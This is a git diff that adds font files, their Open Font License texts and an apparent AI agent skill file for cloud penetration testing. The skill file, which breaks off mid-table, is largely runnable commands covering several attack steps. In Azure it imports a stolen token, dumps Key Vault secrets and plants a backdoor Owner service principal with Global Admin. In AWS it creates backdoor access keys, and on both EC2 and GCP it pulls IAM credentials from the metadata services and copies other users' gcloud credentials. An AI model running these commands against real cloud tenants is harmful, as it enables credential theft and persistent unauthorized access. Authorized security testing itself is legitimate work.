by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/Silkscreen-Regular.ttf b/skills/canvas-design/canvas-fonts/Silkscreen-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..dce770ad43550c6ffb8fe2da942cec9348642c1b --- /dev/null +++ b/skills/canvas-design/canvas-fonts/Silkscreen-Regular.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:49567408600809e25147e9225ac4f37f410e2df45a750696c45027531fb65f1b +size 31960 diff --git a/skills/canvas-design/canvas-fonts/SmoochSans-Medium.ttf b/skills/canvas-design/canvas-fonts/SmoochSans-Medium.ttf new file mode 100644 index 0000000000000000000000000000000000000000..c6e8ac60918cc7aeb39615b72bc516b066dcab18 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/SmoochSans-Medium.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:dd76e6e77cce82f827a8654cd906e9ce58f3aaf78adda63c4a7f655b8ecb41f0 +size 59704 diff --git a/skills/canvas-design/canvas-fonts/SmoochSans-OFL.txt b/skills/canvas-design/canvas-fonts/SmoochSans-OFL.txt new file mode 100644 index 0000000000000000000000000000000000000000..4c2f033ac0e041f61d88d255c4bb02ee28b6f3cb --- /dev/null +++ b/skills/canvas-design/canvas-fonts/SmoochSans-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2016 The Smooch Sans Project Authors (https://github.com/googlefonts/smooch-sans) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/Tektur-Medium.ttf b/skills/canvas-design/canvas-fonts/Tektur-Medium.ttf new file mode 100644 index 0000000000000000000000000000000000000000..acda4f90eb834134bdf4e05844949b8b9fadb7dd --- /dev/null +++ b/skills/canvas-design/canvas-fonts/Tektur-Medium.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:52bbe8c9b057b3d2da4eeace31a524b1ea26a1375ae34319cf6900ccc57a4c82 +size 76248 diff --git a/skills/canvas-design/canvas-fonts/Tektur-OFL.txt b/skills/canvas-design/canvas-fonts/Tektur-OFL.txt new file mode 100644 index 0000000000000000000000000000000000000000..2cad55f1b2d239571560773c92801166cb2be635 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/Tektur-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2023 The Tektur Project Authors (https://www.github.com/hyvyys/Tektur) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/Tektur-Regular.ttf b/skills/canvas-design/canvas-fonts/Tektur-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..6e042efedc8c5f6924e58d95c61a57abf18aced0 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/Tektur-Regular.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:162e1b36c4718c5b051b36c971ad7e50d341944f35618f480422ebbe72988f98 +size 75604 diff --git a/skills/canvas-design/canvas-fonts/WorkSans-Bold.ttf b/skills/canvas-design/canvas-fonts/WorkSans-Bold.ttf new file mode 100644 index 0000000000000000000000000000000000000000..ae9ae56073febf4ab64fef8c7b588ff0aece45f0 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/WorkSans-Bold.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:240d125fc9f8561363dc1ea3f513501253bd70942f41468f48f0b0cafb0c82e2 +size 191304 diff --git a/skills/canvas-design/canvas-fonts/WorkSans-BoldItalic.ttf b/skills/canvas-design/canvas-fonts/WorkSans-BoldItalic.ttf new file mode 100644 index 0000000000000000000000000000000000000000..bf1a5d04ba9b8bf7f23328b741ab79d8e1ccb6d9 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/WorkSans-BoldItalic.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a5b2cad813df0aaa7d16621f2e93b5117c25e9bc788bc9a3ad218e9d6348ce34 +size 175772 diff --git a/skills/canvas-design/canvas-fonts/WorkSans-Italic.ttf b/skills/canvas-design/canvas-fonts/WorkSans-Italic.ttf new file mode 100644 index 0000000000000000000000000000000000000000..92402d5420c3ca1e5f2f83ab3ffd747986d12677 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/WorkSans-Italic.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:6b7f7002e0b0c8b261fe878658ef5551e3e59d9f6b609b04efb90dde1e2c1ada +size 174280 diff --git a/skills/canvas-design/canvas-fonts/WorkSans-OFL.txt b/skills/canvas-design/canvas-fonts/WorkSans-OFL.txt new file mode 100644 index 0000000000000000000000000000000000000000..070f3416c4767c3396120b5942627f6d3d5bab10 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/WorkSans-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2019 The Work Sans Project Authors (https://github.com/weiweihuanghuang/Work-Sans) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/WorkSans-Regular.ttf b/skills/canvas-design/canvas-fonts/WorkSans-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..b935b6ec548830fdd42adf1899e773d1a268fe6a --- /dev/null +++ b/skills/canvas-design/canvas-fonts/WorkSans-Regular.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e67985a843df0d3cdee51a3d0f329eb1774a344ad9ff0c9ab923751f1577e2a4 +size 188916 diff --git a/skills/canvas-design/canvas-fonts/YoungSerif-OFL.txt b/skills/canvas-design/canvas-fonts/YoungSerif-OFL.txt new file mode 100644 index 0000000000000000000000000000000000000000..f09443cbe4dfca41153edf6f9dd8fd63138a24b3 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/YoungSerif-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2023 The Young Serif Project Authors (https://github.com/noirblancrouge/YoungSerif) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/YoungSerif-Regular.ttf b/skills/canvas-design/canvas-fonts/YoungSerif-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..12fa1ed8f00121f996c06c4c6ea33a6cc60596f3 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/YoungSerif-Regular.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f8dc08f77abad753a00670af70756a8ace938e5c3f0b770f4f4c2071c4bd8fc6 +size 105136 diff --git a/skills/cloud-penetration-testing/SKILL.md b/skills/cloud-penetration-testing/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..6ee613db8e083e9909d8f328382a69d5cf949d0a --- /dev/null +++ b/skills/cloud-penetration-testing/SKILL.md @@ -0,0 +1,511 @@ +--- +name: cloud-penetration-testing +description: "Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP)." +risk: offensive +source: community +author: zebbern +date_added: "2026-02-27" +--- + +> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments. + +# Cloud Penetration Testing + +## Purpose + +Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). This skill covers reconnaissance, authentication testing, resource enumeration, privilege escalation, data extraction, and persistence techniques for authorized cloud security engagements. + +## Prerequisites + +### Required Tools +```bash +# Azure tools +Install-Module -Name Az -AllowClobber -Force +Install-Module -Name MSOnline -Force +Install-Module -Name AzureAD -Force + +# AWS CLI +curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip" +unzip awscliv2.zip && sudo ./aws/install + +# GCP CLI +tmpdir="$(mktemp -d)" +trap 'rm -rf "$tmpdir"' EXIT +curl -fsSLo "$tmpdir/google-cloud-sdk-install.sh" https://sdk.cloud.google.com +cat "$tmpdir/google-cloud-sdk-install.sh" # review the full installer before executing +bash "$tmpdir/google-cloud-sdk-install.sh" +gcloud init + +# Additional tools +pip install scoutsuite pacu +``` + +### Required Knowledge +- Cloud architecture fundamentals +- Identity and Access Management (IAM) +- API authentication mechanisms +- DevOps and automation concepts + +### Required Access +- Written authorization for testing +- Test credentials or access tokens +- Defined scope and rules of engagement + +## Outputs and Deliverables + +1. **Cloud Security Assessment Report** - Comprehensive findings and risk ratings +2. **Resource Inventory** - Enumerated services, storage, and compute instances +3. **Credential Findings** - Exposed secrets, keys, and misconfigurations +4. **Remediation Recommendations** - Hardening guidance per platform + +## Core Workflow + +### Phase 1: Reconnaissance + +Gather initial information about target cloud presence: + +```bash +# Azure: Get federation info +curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1" + +# Azure: Get Tenant ID +curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration" + +# Enumerate cloud resources by company name +python3 cloud_enum.py -k targetcompany + +# Check IP against cloud providers +cat ips.txt | python3 ip2provider.py +``` + +### Phase 2: Azure Authentication + +Authenticate to Azure environments: + +```powershell +# Az PowerShell Module +Import-Module Az +Connect-AzAccount + +# With credentials (may bypass MFA) +$credential = Get-Credential +Connect-AzAccount -Credential $credential + +# Import stolen context +Import-AzContext -Profile 'C:\Temp\StolenToken.json' + +# Export context for persistence +Save-AzContext -Path C:\Temp\AzureAccessToken.json + +# MSOnline Module +Import-Module MSOnline +Connect-MsolService +``` + +### Phase 3: Azure Enumeration + +Discover Azure resources and permissions: + +```powershell +# List contexts and subscriptions +Get-AzContext -ListAvailable +Get-AzSubscription + +# Current user role assignments +Get-AzRoleAssignment + +# List resources +Get-AzResource +Get-AzResourceGroup + +# Storage accounts +Get-AzStorageAccount + +# Web applications +Get-AzWebApp + +# SQL Servers and databases +Get-AzSQLServer +Get-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG + +# Virtual machines +Get-AzVM +$vm = Get-AzVM -Name "VMName" +$vm.OSProfile + +# List all users +Get-MSolUser -All + +# List all groups +Get-MSolGroup -All + +# Global Admins +Get-MsolRole -RoleName "Company Administrator" +Get-MSolGroupMember -GroupObjectId $GUID + +# Service Principals +Get-MsolServicePrincipal +``` + +### Phase 4: Azure Exploitation + +Exploit Azure misconfigurations: + +```powershell +# Search user attributes for passwords +$users = Get-MsolUser -All +foreach($user in $users){ + $props = @() + $user | Get-Member | foreach-object{$props+=$_.Name} + foreach($prop in $props){ + if($user.$prop -like "*password*"){ + Write-Output ("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop) + } + } +} + +# Execute commands on VMs +Invoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath ./script.ps1 + +# Extract VM UserData +$vms = Get-AzVM +$vms.UserData + +# Dump Key Vault secrets +az keyvault list --query '[].name' --output tsv +az keyvault set-policy --name --upn --secret-permissions get list +az keyvault secret list --vault-name --query '[].id' --output tsv +az keyvault secret show --id +``` + +### Phase 5: Azure Persistence + +Establish persistence in Azure: + +```powershell +# Create backdoor service principal +$spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner +$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret) +$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR) + +# Add service principal to Global Admin +$sp = Get-MsolServicePrincipal -AppPrincipalId +$role = Get-MsolRole -RoleName "Company Administrator" +Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId + +# Login as service principal +$cred = Get-Credential # AppID as username, secret as password +Connect-AzAccount -Credential $cred -Tenant "tenant-id" -ServicePrincipal + +# Create new admin user via CLI +az ad user create --display-name --password --user-principal-name +``` + +### Phase 6: AWS Authentication + +Authenticate to AWS environments: + +```bash +# Configure AWS CLI +aws configure +# Enter: Access Key ID, Secret Access Key, Region, Output format + +# Use specific profile +aws configure --profile target + +# Test credentials +aws sts get-caller-identity +``` + +### Phase 7: AWS Enumeration + +Discover AWS resources: + +```bash +# Account information +aws sts get-caller-identity +aws iam list-users +aws iam list-roles + +# S3 Buckets +aws s3 ls +aws s3 ls s3://bucket-name/ +aws s3 sync s3://bucket-name ./local-dir + +# EC2 Instances +aws ec2 describe-instances + +# RDS Databases +aws rds describe-db-instances --region us-east-1 + +# Lambda Functions +aws lambda list-functions --region us-east-1 +aws lambda get-function --function-name + +# EKS Clusters +aws eks list-clusters --region us-east-1 + +# Networking +aws ec2 describe-subnets +aws ec2 describe-security-groups --group-ids +aws directconnect describe-connections +``` + +### Phase 8: AWS Exploitation + +Exploit AWS misconfigurations: + +```bash +# Check for public RDS snapshots +aws rds describe-db-snapshots --snapshot-type manual --query=DBSnapshots[*].DBSnapshotIdentifier +aws rds describe-db-snapshot-attributes --db-snapshot-identifier +# AttributeValues = "all" means publicly accessible + +# Extract Lambda environment variables (may contain secrets) +aws lambda get-function --function-name | jq '.Configuration.Environment' + +# Access metadata service (from compromised EC2) +curl http://169.254.169.254/latest/meta-data/ +curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ + +# IMDSv2 access +TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") +curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN" +``` + +### Phase 9: AWS Persistence + +Establish persistence in AWS: + +```bash +# List existing access keys +aws iam list-access-keys --user-name + +# Create backdoor access key +aws iam create-access-key --user-name + +# Get all EC2 public IPs +for region in $(cat regions.txt); do + aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $region | jq -r '.[]' +done +``` + +### Phase 10: GCP Enumeration + +Discover GCP resources: + +```bash +# Authentication +gcloud auth login +gcloud auth activate-service-account --key-file creds.json +gcloud auth list + +# Account information +gcloud config list +gcloud organizations list +gcloud projects list + +# IAM Policies +gcloud organizations get-iam-policy +gcloud projects get-iam-policy + +# Enabled services +gcloud services list + +# Source code repos +gcloud source repos list +gcloud source repos clone + +# Compute instances +gcloud compute instances list +gcloud beta compute ssh --zone "region" "instance" --project "project" + +# Storage buckets +gsutil ls +gsutil ls -r gs://bucket-name +gsutil cp gs://bucket/file ./local + +# SQL instances +gcloud sql instances list +gcloud sql databases list --instance + +# Kubernetes +gcloud container clusters list +gcloud container clusters get-credentials --region +kubectl cluster-info +``` + +### Phase 11: GCP Exploitation + +Exploit GCP misconfigurations: + +```bash +# Get metadata service data +curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google" + +# Check access scopes +curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google' + +# Decrypt data with keyring +gcloud kms decrypt --ciphertext-file=encrypted.enc --plaintext-file=out.txt --key --keyring --location global + +# Serverless function analysis +gcloud functions list +gcloud functions describe +gcloud functions logs read --limit 100 + +# Find stored credentials +sudo find /home -name "credentials.db" +sudo cp -r /home/user/.config/gcloud ~/.config +gcloud auth list +``` + +## Quick Reference + +### Azure Key Commands + +| Action | Command | 